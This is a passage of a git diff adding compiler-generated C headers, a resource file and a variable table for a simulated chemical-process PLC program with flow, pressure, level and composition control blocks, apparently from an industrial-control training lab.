__DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; 